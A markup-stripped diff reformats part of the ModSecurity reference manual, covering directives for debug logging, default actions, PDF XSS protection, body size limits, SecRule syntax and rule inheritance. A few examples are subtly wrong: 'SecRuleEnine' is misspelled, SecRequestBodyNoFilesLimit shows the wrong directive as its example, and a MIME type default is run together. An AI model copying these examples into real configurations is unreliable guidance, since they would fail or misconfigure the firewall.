(e.g. - mod_fastcgi, mod_fcgid, - mod_cgid), you are advised to examine each Apache - process and observe its current working directory, process root, and the - list of open files. Consider what your options are and make your own - decision. + You should be aware that the internal chroot feature might not be 100% reliable. Due to + the large number of default and third-party modules available for the Apache web server, it + is not possible to verify the internal chroot works reliably with all of them. A module, + working from within Apache, can do things that make it easy to break out of the jail. In + particular, if you are using any of the modules that fork in the module initialisation phase + (e.g. mod_fastcgi, mod_fcgid, mod_cgid), you are advised to examine each Apache process and observe its + current working directory, process root, and the list of open files. Consider what your + options are and make your own decision.
-
<literal>SecComponentSignature</literal> - - Description: Appends component signature to - the ModSecurity signature. - - Syntax: SecComponentSignature - "COMPONENT_NAME/X.Y.Z (COMMENT)" - - Example usage: SecComponentSignature - "Core Rules/1.2.3" - + Description: Appends component signature to the ModSecurity + signature. + Syntax: SecComponentSignature "COMPONENT_NAME/X.Y.Z + (COMMENT)" + Example usage: SecComponentSignature "Core + Rules/1.2.3" Processing Phase: N/A - Scope: Main - Version: 2.5.0 - - Dependencies/Notes: This directive should be - used to make the presence of significant ModSecurity components known. - The entire signature will be recorded in transaction audit log. It - should be used by ModSecurity module and rule set writers to make - debugging easier. + Dependencies/Notes: This directive should be used to make the + presence of significant ModSecurity components known. The entire signature will be recorded + in transaction audit log. It should be used by ModSecurity module and rule set writers to + make debugging easier.
-
<literal>SecContentInjection</literal> - - Description: Enables content injection using - actions append and prepend. - - Syntax: SecContentInjection - (On|Off) - - Example Usage: SecContentInjection - On - + Description: Enables content injection using actions append and prepend. + Syntax: + SecContentInjection (On|Off) + Example Usage: + SecContentInjection On Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: N/A
-
<literal>SecCookieFormat</literal> - - Description: Selects the cookie format that - will be used in the current configuration context. - - Syntax: SecCookieFormat 0|1 - - Example Usage: SecCookieFormat 0 - + Description: Selects the cookie format that will be used in the + current configuration context. + Syntax: + SecCookieFormat 0|1 + Example Usage: + SecCookieFormat 0 Processing Phase: N/A - Scope: Any - Version: 2.0.0 - Dependencies/Notes: None - Possible values are: - - 0 - use version 0 - (Netscape) cookies. This is what most applications use. It is the - default value. + 0 - use version 0 (Netscape) cookies. This is + what most applications use. It is the default value. - - 1 - use version 1 - cookies. + 1 - use version 1 cookies.
-
<literal>SecDataDir</literal> - - Description: Path where persistent data (e.g. - IP address data, session data, etc) is to be stored. - - Syntax: SecDataDir - /path/to/dir - - Example Usage: SecDataDir /usr/local/apache/logs/data - + Description: Path where persistent data (e.g. IP address data, + session data, etc) is to be stored. + Syntax: + SecDataDir /path/to/dir + Example Usage: + SecDataDir /usr/local/apache/logs/data Processing Phase: N/A - Scope: Main - - Dependencies/Notes: This directive is needed - when initcol, setsid an setuid are used. Must be writable by the web - server user. + Dependencies/Notes: This directive is needed when initcol, setsid + an setuid are used. Must be writable by the web server user.
-
<literal>SecDebugLog</literal> - - Description: Path to the ModSecurity debug - log file. - - Syntax: SecDebugLog - /path/to/modsec-debug.log - - Example Usage: SecDebugLog - /usr/local/apache/logs/modsec-debug.log - + Description: Path to the ModSecurity debug log file. + Syntax: + SecDebugLog /path/to/modsec-debug.log + Example Usage: + SecDebugLog + /usr/local/apache/logs/modsec-debug.log Processing Phase: N/A - Scope: Any - Version: 2.0.0 - Dependencies/Notes: None
-
<literal>SecDebugLogLevel</literal> - - Description: Configures the verboseness of - the debug log data. - - Syntax: SecDebugLogLevel 0|1|2|3|4|5|6|7|8|9 - - Example Usage: SecDebugLogLevel 4 - + Description: Configures the verboseness of the debug log + data. + Syntax: + SecDebugLogLevel 0|1|2|3|4|5|6|7|8|9 + Example Usage: + SecDebugLogLevel 4 Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Levels 1 - 3 are always sent to the Apache error log. - Therefore you can always use level 0 - as the default logging level in production. Level 5 is useful when debugging. It is not - advisable to use higher logging levels in production as excessive - logging can slow down server significantly. - + Dependencies/Notes: Levels 1 - 3 + are always sent to the Apache error log. Therefore you can always use level 0 as the default logging level in production. Level 5 is useful when debugging. It is not advisable to use higher + logging levels in production as excessive logging can slow down server significantly. Possible values are: - 0 - no logging. - - 1 - errors (intercepted - requests) only. + 1 - errors (intercepted requests) only. - 2 - warnings. - 3 - notices. - - 4 - details of how - transactions are handled. + 4 - details of how transactions are + handled. - - 5 - as above, but including - information about each piece of information handled. + 5 - as above, but including information about + each piece of information handled. - - 9 - log everything, - including very detailed debugging information. + 9 - log everything, including very detailed + debugging information.
-
<literal>SecDefaultAction</literal> - - Description: Defines the default action to - take on a rule match. - - Syntax: SecDefaultAction - action1,action2,action3 - - Example Usage: SecDefaultAction - log,auditlog,deny,status:403,phase:2 - + Description: Defines the default action to take on a rule + match. + Syntax: + SecDefaultAction action1,action2,action3 + Example Usage: + SecDefaultAction + log,auditlog,deny,status:403,phase:2 Processing Phase: Any - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Rules following a - SecDefaultAction directive will inherit this setting - unless a specific action is specified for an individual rule or until - another SecDefaultAction is specified. Take special - note that in the logging disruptive actions are not allowed, but this - can inadvertently be inherited using a disruptive action in - SecDefaultAction. - - The default value is minimal (differing from previous - versions): - + Dependencies/Notes: Rules following a SecDefaultAction directive will inherit this setting unless a specific action + is specified for an individual rule or until another SecDefaultAction is + specified. Take special note that in the logging disruptive actions are not allowed, but + this can inadvertently be inherited using a disruptive action in SecDefaultAction. + The default value is minimal (differing from previous versions): SecDefaultAction phase:2,log,auditlog,pass - - SecDefaultAction must specify a disruptive - action and a processing phase and cannot contain metadata - actions. + SecDefaultAction must specify a disruptive action and a processing + phase and cannot contain metadata actions. - - SecDefaultAction is not - inherited across configuration contexts. (For an example of why this - may be a problem for you, read the following ModSecurity Blog entry - http://blog.modsecurity.org/2008/07/modsecurity-tri.html). + SecDefaultAction is not inherited across + configuration contexts. (For an example of why this may be a problem for you, read the + following ModSecurity Blog entry http://blog.modsecurity.org/2008/07/modsecurity-tri.html).
-
<literal>SecGeoLookupDb</literal> - - Description: Defines the path to the - geographical database file. - - Syntax: SecGeoLookupDb /path/to/db - - Example Usage: SecGeoLookupDb - /usr/local/geo/data/GeoLiteCity.dat - + Description: Defines the path to the geographical database + file. + Syntax: + SecGeoLookupDb /path/to/db + Example Usage: + SecGeoLookupDb /usr/local/geo/data/GeoLiteCity.dat Processing Phase: N/A - Scope: Any - Version: 2.5.0 - - Dependencies/Notes: Check out - maxmind.com for free database files. + Dependencies/Notes: Check out maxmind.com for + free database files.
-
<literal>SecGuardianLog</literal> - - Description: Configuration directive to use - the httpd-guardian script to monitor for Denial of Service (DoS) - attacks. - - Syntax: SecGuardianLog |/path/to/httpd-guardian - - Example Usage: SecGuardianLog - |/usr/local/apache/bin/httpd-guardian - + Description: Configuration directive to use the httpd-guardian + script to monitor for Denial of Service (DoS) attacks. + Syntax: + SecGuardianLog |/path/to/httpd-guardian + Example Usage: + SecGuardianLog + |/usr/local/apache/bin/httpd-guardian Processing Phase: N/A - Scope: Main - Version: 2.0.0 - - Dependencies/Notes: By default httpd-guardian - will defend against clients that send more than 120 requests in a - minute, or more than 360 requests in five minutes. - - Since 1.9, ModSecurity supports a new directive, SecGuardianLog, - that is designed to send all access data to another program using the - piped logging feature. Since Apache is typically deployed in a - multi-process fashion, making information sharing difficult, the idea is - to deploy a single external process to observe all requests in a - stateful manner, providing additional protection. - - Development of a state of the art external protection tool will be - a focus of subsequent ModSecurity releases. However, a fully functional - tool is already available as part of the Apache httpd tools - project. The tool is called httpd-guardian and can be used to - defend against Denial of Service attacks. It uses the blacklist tool - (from the same project) to interact with an iptables-based (Linux) or - pf-based (*BSD) firewall, dynamically blacklisting the offending IP - addresses. It can also interact with SnortSam (http://www.snortsam.net). - Assuming httpd-guardian is already configured (look into the source code - for the detailed instructions) you only need to add one line to your - Apache configuration to deploy it: - + Dependencies/Notes: By default httpd-guardian will defend against + clients that send more than 120 requests in a minute, or more than 360 requests in five + minutes. + Since 1.9, ModSecurity supports a new directive, SecGuardianLog, that is designed to + send all access data to another program using the piped logging feature. Since Apache is + typically deployed in a multi-process fashion, making information sharing difficult, the + idea is to deploy a single external process to observe all requests in a stateful manner, + providing additional protection. + Development of a state of the art external protection tool will be a focus of subsequent + ModSecurity releases. However, a fully functional tool is already available as part of the + Apache httpd tools + project. The tool is called httpd-guardian and can be used to defend against + Denial of Service attacks. It uses the blacklist tool (from the same project) to interact + with an iptables-based (Linux) or pf-based (*BSD) firewall, dynamically blacklisting the + offending IP addresses. It can also interact with SnortSam (http://www.snortsam.net). + Assuming httpd-guardian is already configured (look into the source code for the detailed + instructions) you only need to add one line to your Apache configuration to deploy + it: SecGuardianLog |/path/to/httpd-guardian
-
<literal>SecMarker</literal> - - Description: Adds a fixed rule marker in the - ruleset to be used as a target in a skipAfter action. - A SecMarker directive essentially creates a rule that - does nothing and whose only purpose it to carry the given ID. - - Syntax: SecMarker - ID - - Example Usage: SecMarker 9999 - + Description: Adds a fixed rule marker in the ruleset to be used as + a target in a skipAfter action. A SecMarker directive + essentially creates a rule that does nothing and whose only purpose it to carry the given + ID. + Syntax: + SecMarker ID + Example Usage: + SecMarker 9999 Processing Phase: Any - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None - - SecRule REQUEST_URI "^/$" \ + + SecRule REQUEST_URI "^/$" \ "chain,t:none,t:urlDecode,t:lowercase,t:normalisePath,skipAfter:99" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent \ @@ -1338,662 +850,432 @@ SecRule &REQUEST_HEADERS:Host "@eq 0" \ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ "log,deny,log,status:400,id:15,msg:'Request Missing an Accept Header'" -SecMarker 99 +SecMarker 99 +
-
<literal>SecPdfProtect</literal> - - Description: Enables the PDF XSS protection - functionality. Once enabled access to PDF files is tracked. Direct - access attempts are redirected to links that contain one-time tokens. - Requests with valid tokens are allowed through unmodified. Requests with - invalid tokens are also allowed through but with forced download of the - PDF files. This implementation uses response headers to detect PDF files - and thus can be used with dynamically generated PDF files that do not - have the .pdf extension in the request URI. - - Syntax: SecPdfProtect On|Off - - Example Usage: SecPdfProtect On - + Description: Enables the PDF XSS protection functionality. Once + enabled access to PDF files is tracked. Direct access attempts are redirected to links that + contain one-time tokens. Requests with valid tokens are allowed through unmodified. Requests + with invalid tokens are also allowed through but with forced download of the PDF files. This + implementation uses response headers to detect PDF files and thus can be used with + dynamically generated PDF files that do not have the .pdf extension in + the request URI. + Syntax: + SecPdfProtect On|Off + Example Usage: + SecPdfProtect On Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None
-
<literal>SecPdfProtectMethod</literal> - - Description: Configure desired protection - method to be used when requests for PDF files are detected. Possible - values are TokenRedirection and - ForcedDownload. The token redirection approach will - attempt to redirect with tokens where possible. This allows PDF files to - continue to be opened inline but only works for GET requests. Forced - download always causes PDF files to be delivered as opaque binaries and - attachments. The latter will always be used for non-GET requests. Forced - download is considered to be more secure but may cause usability - problems for users ("This PDF won't open anymore!"). - - Syntax: SecPdfProtectMethod method - - Example Usage: SecPdfProtectMethod TokenRedirection - + Description: Configure desired protection method to be used when + requests for PDF files are detected. Possible values are TokenRedirection + and ForcedDownload. The token redirection approach will attempt to + redirect with tokens where possible. This allows PDF files to continue to be opened inline + but only works for GET requests. Forced download always causes PDF files to be delivered as + opaque binaries and attachments. The latter will always be used for non-GET requests. Forced + download is considered to be more secure but may cause usability problems for users ("This + PDF won't open anymore!"). + Syntax: + SecPdfProtectMethod method + Example Usage: + SecPdfProtectMethod TokenRedirection Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None - Default: - TokenRedirection + TokenRedirection
-
<literal>SecPdfProtectSecret</literal> - - Description: Defines the secret that will be - used to construct one-time tokens. You should use a reasonably long - value for the secret (e.g. 16 characters is good). Once selected the - secret should not be changed as it will break the tokens that were sent - prior to change. But it's not a big deal even if you change it. It will - just force download of PDF files with tokens that were issued in the - last few seconds. - - Syntax: SecPdfProtectSecret secret - - Example Usage: SecPdfProtectSecret - MyRandomSecretString - + Description: Defines the secret that will be used to construct + one-time tokens. You should use a reasonably long value for the secret (e.g. 16 characters + is good). Once selected the secret should not be changed as it will break the tokens that + were sent prior to change. But it's not a big deal even if you change it. It will just force + download of PDF files with tokens that were issued in the last few seconds. + Syntax: + SecPdfProtectSecret secret + Example Usage: + SecPdfProtectSecret MyRandomSecretString Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None
-
<literal>SecPdfProtectTimeout</literal> - - Description: Defines the token timeout. After - token expires it can no longer be used to allow access to PDF file. - Request will be allowed through but the PDF will be delivered as - attachment. - - Syntax: SecPdfProtectTimeout timeout - - Example Usage: SecPdfProtectTimeout 10 - + Description: Defines the token timeout. After token expires it can + no longer be used to allow access to PDF file. Request will be allowed through but the PDF + will be delivered as attachment. + Syntax: + SecPdfProtectTimeout timeout + Example Usage: + SecPdfProtectTimeout 10 Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None - - Default: 10 + Default: + 10
-
<literal>SecPdfProtectTokenName</literal> - - Description: Defines the name of the token. - The only reason you would want to change the name of the token is if you - wanted to hide the fact you are running ModSecurity. It's a good reason - but it won't really help as the adversary can look into the algorithm - used for PDF protection and figure it out anyway. It does raise the bar - slightly so go ahead if you want to. - - Syntax: SecPdfProtectTokenName name - - Example Usage: SecPdfProtectTokenName PDFTOKEN - + Description: Defines the name of the token. The only reason you + would want to change the name of the token is if you wanted to hide the fact you are running + ModSecurity. It's a good reason but it won't really help as the adversary can look into the + algorithm used for PDF protection and figure it out anyway. It does raise the bar slightly + so go ahead if you want to. + Syntax: + SecPdfProtectTokenName name + Example Usage: + SecPdfProtectTokenName PDFTOKEN Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None - - Default: PDFTOKEN + Default: + PDFTOKEN
-
<literal>SecRequestBodyAccess</literal> - - Description: Configures whether request - bodies will be buffered and processed by ModSecurity by default. - - Syntax: SecRequestBodyAccess On|Off - - Example Usage: SecRequestBodyAccess On - + Description: Configures whether request bodies will be buffered and + processed by ModSecurity by default. + Syntax: + SecRequestBodyAccess On|Off + Example Usage: + SecRequestBodyAccess On Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This directive is - required if you plan to inspect POST_PAYLOAD. This - directive must be used along with the "phase:2" processing phase action - and REQUEST_BODY variable/location. If any of these 3 - parts are not configured, you will not be able to inspect the request - bodies. - + Dependencies/Notes: This directive is required if you plan to + inspect POST_PAYLOAD. This directive must be used along with the + "phase:2" processing phase action and REQUEST_BODY variable/location. If + any of these 3 parts are not configured, you will not be able to inspect the request + bodies. Possible values are: - - On - access request - bodies. + On - access request bodies. - - Off - do not attempt to - access request bodies. + Off - do not attempt to access request + bodies.
-
<literal>SecRequestBodyLimit</literal> - - Description: Configures the maximum request - body size ModSecurity will accept for buffering. - - Syntax: SecRequestBodyLimit NUMBER_IN_BYTES - - Example Usage: SecRequestBodyLimit 134217728 - + Description: Configures the maximum request body size ModSecurity + will accept for buffering. + Syntax: + SecRequestBodyLimit NUMBER_IN_BYTES + Example Usage: + SecRequestBodyLimit 134217728 Scope: Any - Version: 2.0.0 - - Dependencies/Notes: 131072 KB (134217728 - bytes) is the default setting. Anything over this limit will be rejected - with status code 413 Request Entity Too Large. There is a hard limit of - 1 GB. + Dependencies/Notes: 131072 KB (134217728 bytes) is the default + setting. Anything over this limit will be rejected with status code 413 Request Entity Too + Large. There is a hard limit of 1 GB.
-
<literal>SecRequestBodyNoFilesLimit</literal> - - Description: Configures the maximum request - body size ModSecurity will accept for buffering, excluding the size of - files being transported in the request. This directive comes handy to - further reduce susceptibility to DoS attacks when someone is sending - request bodies of very large sizes. Web applications that require file - uploads must configure SecRequestBodyLimit to a high - value. Since large files are streamed to disk file uploads will not - increase memory consumption. However, it's still possible for someone to - take advantage of a large request body limit and send non-upload - requests with large body sizes. This directive eliminates that - loophole. - - Syntax: SecRequestBodyNoFilesLimit - NUMBER_IN_BYTES - - Example Usage: SecRequestBodyLimit 131072 - + Description: Configures the maximum request body size ModSecurity + will accept for buffering, excluding the size of files being transported in the request. + This directive comes handy to further reduce susceptibility to DoS attacks when someone is + sending request bodies of very large sizes. Web applications that require file uploads must + configure SecRequestBodyLimit to a high value. Since large files are + streamed to disk file uploads will not increase memory consumption. However, it's still + possible for someone to take advantage of a large request body limit and send non-upload + requests with large body sizes. This directive eliminates that loophole. + Syntax: + SecRequestBodyNoFilesLimit NUMBER_IN_BYTES + Example Usage: + SecRequestBodyLimit 131072 Scope: Any - Version: 2.5.0 - - Dependencies/Notes: 1 MB (1048576 bytes) is - the default setting. This value is very conservative. For most - applications you should be able to reduce it down to 128 KB or lower. - Anything over the limit will be rejected with status code 413 - Request Entity Too Large. There is a hard limit of 1 - GB. + Dependencies/Notes: 1 MB (1048576 bytes) is the default setting. + This value is very conservative. For most applications you should be able to reduce it down + to 128 KB or lower. Anything over the limit will be rejected with status code 413 + Request Entity Too Large. There is a hard limit of 1 GB.
-
<literal>SecRequestBodyInMemoryLimit</literal> - - Description: Configures the maximum request - body size ModSecurity will store in memory. - - Syntax: SecRequestBodyInMemoryLimit - NUMBER_IN_BYTES - - Example Usage: SecRequestBodyInMemoryLimit 131072 - + Description: Configures the maximum request body size ModSecurity + will store in memory. + Syntax: + SecRequestBodyInMemoryLimit NUMBER_IN_BYTES + Example Usage: + SecRequestBodyInMemoryLimit 131072 Processing Phase: N/A - Scope: Any - Version: 2.0.0 - Dependencies/Notes: None - By default the limit is 128 KB: - # Store up to 128 KB in memory SecRequestBodyInMemoryLimit 131072
-
<literal>SecResponseBodyLimit</literal> - - Description: Configures the maximum response - body size that will be accepted for buffering. - - Syntax: SecResponseBodyLimit NUMBER_IN_BYTES - - Example Usage: SecResponseBodyLimit 524228 - + Description: Configures the maximum response body size that will be + accepted for buffering. + Syntax: + SecResponseBodyLimit NUMBER_IN_BYTES + Example Usage: + SecResponseBodyLimit 524228 Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Anything over this limit - will be rejected with status code 500 Internal Server Error. This - setting will not affect the responses with MIME types that are not - marked for buffering. There is a hard limit of 1 GB. - + Dependencies/Notes: Anything over this limit will be rejected with + status code 500 Internal Server Error. This setting will not affect the responses with MIME + types that are not marked for buffering. There is a hard limit of 1 GB. By default this limit is configured to 512 KB: - # Buffer response bodies of up to 512 KB in length SecResponseBodyLimit 524288
-
<literal>SecResponseBodyLimitAction</literal> - - Description: Controls what happens once a - response body limit, configured with - SecResponseBodyLimit, is encountered. By default - ModSecurity will reject a response body that is longer than specified. - Some web sites, however, will produce very long responses making it - difficult to come up with a reasonable limit. Such sites would have to - raise the limit significantly to function properly defying the purpose - of having the limit in the first place (to control memory consumption). - With the ability to choose what happens once a limit is reached site - administrators can choose to inspect only the first part of the - response, the part that can fit into the desired limit, and let the rest - through. Some could argue that allowing parts of responses to go - uninspected is a weakness. This is true in theory but only applies to - cases where the attacker controls the output (e.g. can make it arbitrary - long). In such cases, however, it is not possible to prevent leakage - anyway. The attacker could compress, obfuscate, or even encrypt data - before it is sent back, and therefore bypass any monitoring - device. - + Description: Controls what happens once a response body limit, + configured with SecResponseBodyLimit, is encountered. By default + ModSecurity will reject a response body that is longer than specified. Some web sites, + however, will produce very long responses making it difficult to come up with a reasonable + limit. Such sites would have to raise the limit significantly to function properly defying + the purpose of having the limit in the first place (to control memory consumption). With the + ability to choose what happens once a limit is reached site administrators can choose to + inspect only the first part of the response, the part that can fit into the desired limit, + and let the rest through. Some could argue that allowing parts of responses to go + uninspected is a weakness. This is true in theory but only applies to cases where the + attacker controls the output (e.g. can make it arbitrary long). In such cases, however, it + is not possible to prevent leakage anyway. The attacker could compress, obfuscate, or even + encrypt data before it is sent back, and therefore bypass any monitoring device. Syntax: SecResponseBodyLimitAction - Reject|ProcessPartial - - Example Usage: - SecResponseBodyLimitAction ProcessPartial - + Reject|ProcessPartial + Example Usage: SecResponseBodyLimitAction + ProcessPartial Processing Phase: N/A - Scope: Any - Version: 2.5.0 - Dependencies/Notes: None
-
<literal>SecResponseBodyMimeType</literal> - - Description: Configures which MIME types are to be considered for response - body buffering. - - Syntax: SecResponseBodyMimeType mime/type - - Example Usage: SecResponseBodyMimeType text/plain - text/html - + Description: Configures which + MIME types are to be considered for response body buffering. + Syntax: + SecResponseBodyMimeType mime/type + Example Usage: + SecResponseBodyMimeType text/plain text/html Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Multiple SecResponseBodyMimeType directives can be - used to add MIME types. - - The default value is text/plaintext/html: - + Dependencies/Notes: Multiple + SecResponseBodyMimeType directives can be used to add + MIME types. + The default value is text/plaintext/html: SecResponseBodyMimeType text/plain text/html
-
<literal>SecResponseBodyMimeTypesClear</literal> - - Description: Clears the list of MIME types considered for response body - buffering, allowing you to start populating the list from - scratch. - - Syntax: SecResponseBodyMimeTypesClear - - Example Usage: SecResponseBodyMimeTypesClear - + Description: Clears the list of MIME types considered for response body buffering, allowing you to start + populating the list from scratch. + Syntax: + SecResponseBodyMimeTypesClear + Example Usage: + SecResponseBodyMimeTypesClear Processing Phase: N/A - Scope: Any - Version: 2.0.0 - Dependencies/Notes: None
-
<literal>SecResponseBodyAccess</literal> - - Description: Configures whether response - bodies are to be buffer and analysed or not. - - Syntax: SecResponseBodyAccess On|Off - - Example Usage: SecResponseBodyAccess On - + Description: Configures whether response bodies are to be buffer + and analysed or not. + Syntax: + SecResponseBodyAccess On|Off + Example Usage: + SecResponseBodyAccess On Processing Phase: N/A - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: This directive is - required if you plan to inspect HTML responses. This directive must be - used along with the "phase:4" processing phase action and RESPONSE_BODY - variable/location. If any of these 3 parts are not configured, you will - not be able to inspect the response bodies. - + Dependencies/Notes: This directive is required if you plan to + inspect HTML responses. This directive must be used along with the "phase:4" processing + phase action and RESPONSE_BODY variable/location. If any of these 3 parts are not + configured, you will not be able to inspect the response bodies. Possible values are: - - On - access response bodies - (but only if the MIME type matches, see above). + On - access response bodies (but only if the MIME + type matches, see above). - - Off - do not attempt to - access response bodies. + Off - do not attempt to access response + bodies.
-
<literal>SecRule</literal> - - Description: SecRule is the main ModSecurity directive. It - is used to analyse data and perform actions based on the results. - - Syntax: SecRule - VARIABLES OPERATOR [ACTIONS] - - Example Usage: SecRule REQUEST_URI "attack" \ - - - "phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath" - + Description: + SecRule is the main ModSecurity directive. It is used to + analyse data and perform actions based on the results. + Syntax: + SecRule VARIABLES OPERATOR [ACTIONS] + Example Usage: + SecRule REQUEST_URI "attack" \ + "phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath" Processing Phase: Any - Scope: Any - Version: 2.0.0 - Dependencies/Notes: None - In general, the format of this rule is as follows: - SecRule VARIABLES OPERATOR [ACTIONS] - - The second part, OPERATOR, - specifies how they are going to be checked. The third (optional) part, - ACTIONS, specifies what to do - whenever the operator used performs a successful match against a - variable. - + The second part, OPERATOR, specifies how they are + going to be checked. The third (optional) part, ACTIONS, + specifies what to do whenever the operator used performs a successful match against a + variable.
Variables in rules - - The first part, VARIABLES, - specifies which variables are to be checked. For example, the - following rule will reject a transaction that has the word - dirty in the URI: - + The first part, VARIABLES, specifies which + variables are to be checked. For example, the following rule will reject a transaction + that has the word dirty in the URI: SecRule ARGS dirty - Each rule can specify one or more variables: - SecRule ARGS|REQUEST_HEADERS:User-Agent dirty - - There is a third format supported by the selection operator - - XPath expression. XPath expressions can only used against the special - variable XML, which is available only of the request body was - processed as XML. - + There is a third format supported by the selection operator - XPath expression. XPath + expressions can only used against the special variable XML, which is available only of the + request body was processed as XML. SecRule XML:/xPath/Expression dirty - - Not all collections support all selection operator format - types. You should refer to the documentation of each collection to - determine what is and isn't supported. + Not all collections support all selection operator format types. You should refer to + the documentation of each collection to determine what is and isn't supported.
-
Collections - - A variable can contain one or many pieces of data, depending on - the nature of the variable and the way it is used. We've seen examples - of both approaches in the previous section. When a variable can - contain more than one value we refer to it as a - collection. - - Collections are always expanded before a rule is run. For - example, the following rule: - + A variable can contain one or many pieces of data, depending on the nature of the + variable and the way it is used. We've seen examples of both approaches in the previous + section. When a variable can contain more than one value we refer to it as a + collection. + Collections are always expanded before a rule is run. For example, the following + rule: SecRule ARGS dirty - will be expanded to: - SecRule ARGS:p dirty SecRule ARGS:q dirty - - in a requests that has only two parameters, named - p and q. - + in a requests that has only two parameters, named p and q. Collections come in several flavours: - Read-only - - Created at runtime using transaction data. For example: - ARGS (contains a list of all request - parameter values) and REQUEST_HEADERS - (contains a list of all request header values). + Created at runtime using transaction data. For example: ARGS + (contains a list of all request parameter values) and REQUEST_HEADERS (contains a list of all request header values). - Transient Read/Write - - The TX collection is created (empty) - for every transaction. Rules can read from it and write to it - (using the setvar action, for example), but - the information stored in this collection will not survive the - end of transaction. + The TX collection is created (empty) for every transaction. + Rules can read from it and write to it (using the setvar action, + for example), but the information stored in this collection will not survive the end + of transaction. - Persistent Read/Write - - There are several collections that can be written to, but - which are persisted to the storage backend. These collections - are used to track clients across transactions. Examples of - collections that fall into this type are IP, - SESSION and USER. + There are several collections that can be written to, but which are persisted to + the storage backend. These collections are used to track clients across + transactions. Examples of collections that fall into this type are IP, SESSION and USER.
-
Operators in rules - - In the simplest possible case you will use a regular expression - pattern as the second rule parameter. This is what we've done in the - examples above. If you do this ModSecurity assumes you want to use the - rx (regular expression) operator. - You can also explicitly specify the operator you want to use by using - @, followed by the name of an - operator, at the beginning of the second SecRule - parameter: - + In the simplest possible case you will use a regular expression pattern as the second + rule parameter. This is what we've done in the examples above. If you do this ModSecurity + assumes you want to use the rx (regular expression) + operator. You can also explicitly specify the operator you want to use by using @, followed by the name of an operator, at the beginning of + the second SecRule parameter: SecRule ARGS "@rx dirty" - - Note how we had to use double quotes to delimit the second rule - parameter. This is because the second parameter now has whitespace in - it. Any number of whitespace characters can follow the name of the - operator. If there are any non-whitespace characters there, they will - all be treated as a special parameter to the operator. In the case of - the regular expression operator the special parameter is the pattern - that will be used for comparison. - - The @ can be the second character if you are using negation to - negate the result returned by the operator: - + Note how we had to use double quotes to delimit the second rule parameter. This is + because the second parameter now has whitespace in it. Any number of whitespace characters + can follow the name of the operator. If there are any non-whitespace characters there, + they will all be treated as a special parameter to the operator. In the case of the + regular expression operator the special parameter is the pattern that will be used for + comparison. + The @ can be the second character if you are using negation to negate the result + returned by the operator: SecRule &ARGS "!@rx ^0$"
-
Operator negation - - Operator results can be negated by using an exclamation mark at - the beginning of the second parameter. The following rule matches if - the word dirty does not appear - in the User-Agent request header: - + Operator results can be negated by using an exclamation mark at the beginning of the + second parameter. The following rule matches if the word dirty does + not appear in the User-Agent request + header: SecRule REQUEST_HEADERS:User-Agent !dirty - - You can use the exclamation mark in combination with any - parameter. If you do, the exclamation mark needs to go first, followed - by the explicit operator reference. The following rule has the same - effect as the previous example: - + You can use the exclamation mark in combination with any parameter. If you do, the + exclamation mark needs to go first, followed by the explicit operator reference. The + following rule has the same effect as the previous example: SecRule REQUEST_HEADERS:User-Agent "!@rx dirty" - - If you need to use negation in a rule that is going to be - applied to several variables then it may not be immediately clear what - will happen. Consider the following example: - + If you need to use negation in a rule that is going to be applied to several variables + then it may not be immediately clear what will happen. Consider the following + example: SecRule ARGS:p|ARGS:q !dirty - The above rule is identical to: - SecRule ARGS:p !dirty SecRule ARGS:q !dirty - - Negation is applied to operations against individual - operations, not agains the entire variable list. + Negation is applied to operations against individual operations, not agains the + entire variable list.
-
Actions in rules - - The third parameter, ACTIONS, - can be omitted only because there is a helper feature that specifies - the default action list. If the parameter isn't omitted the actions - specified in the parameter will be merged with the default action list - to create the actual list of actions that will be processed on a rule - match. + The third parameter, ACTIONS, can be omitted only + because there is a helper feature that specifies the default action list. If the parameter + isn't omitted the actions specified in the parameter will be merged with the default + action list to create the actual list of actions that will be processed on a rule + match.
-
<literal>SecRuleInheritance</literal> - - Description: Configures whether the current - context will inherit rules from the parent context (configuration - options are inherited in most cases - you should look up the - documentation for every directive to determine if it is inherited or - not). - - Syntax: SecRuleInheritance On|Off - - Example Usage: SecRuleInheritance Off - + Description: Configures whether the current context will inherit + rules from the parent context (configuration options are inherited in most cases - you + should look up the documentation for every directive to determine if it is inherited or + not). + Syntax: + SecRuleInheritance On|Off + Example Usage: + SecRuleInheritance Off Processing Phase: Any - Scope: Any - Version: 2.0.0 - - Dependencies/Notes: Resource-specific - contexts (e.g. Location, Directory, etc) cannot override - phase1 rules configured in the main server or in - the virtual server. This is because phase 1 is run early in the request - processing process, before Apache maps request to resource. Virtual host - context can override phase 1 rules configured in the main server. - - Example: The following example shows where ModSecurity may be - enabled in the main Apache configuration scope, however you might want - to configure your VirtualHosts differently. In the first example, the - first VirtualHost is not inheriting the ModSecurity main config - directives and in the second one it is. - - SecRuleEngine On + Dependencies/Notes: Resource-specific contexts (e.g. Location, Directory, etc) + cannot override phase1 rules configured in the main server or in the + virtual server. This is because phase 1 is run early in the request processing process, + before Apache maps request to resource. Virtual host context can override phase 1 rules + configured in the main server. + Example: The following example shows where ModSecurity may be enabled in the main Apache + configuration scope, however you might want to configure your VirtualHosts differently. In + the first example, the first VirtualHost is not inheriting the ModSecurity main config + directives and in the second one it is. + SecRuleEnine On SecDefaultAction log,pass,phase:2 ... @@ -2011,161 +1293,104 @@ ServerAlias www.app2.com SecRuleInheritance On SecRule ARGS "attack" ... </VirtualHost> - Possible values are: - - On - inherit rules from the - parent context. + On - inherit rules from the parent + context. - - Off - do not inherit rules - from the parent context. - + Off - do not 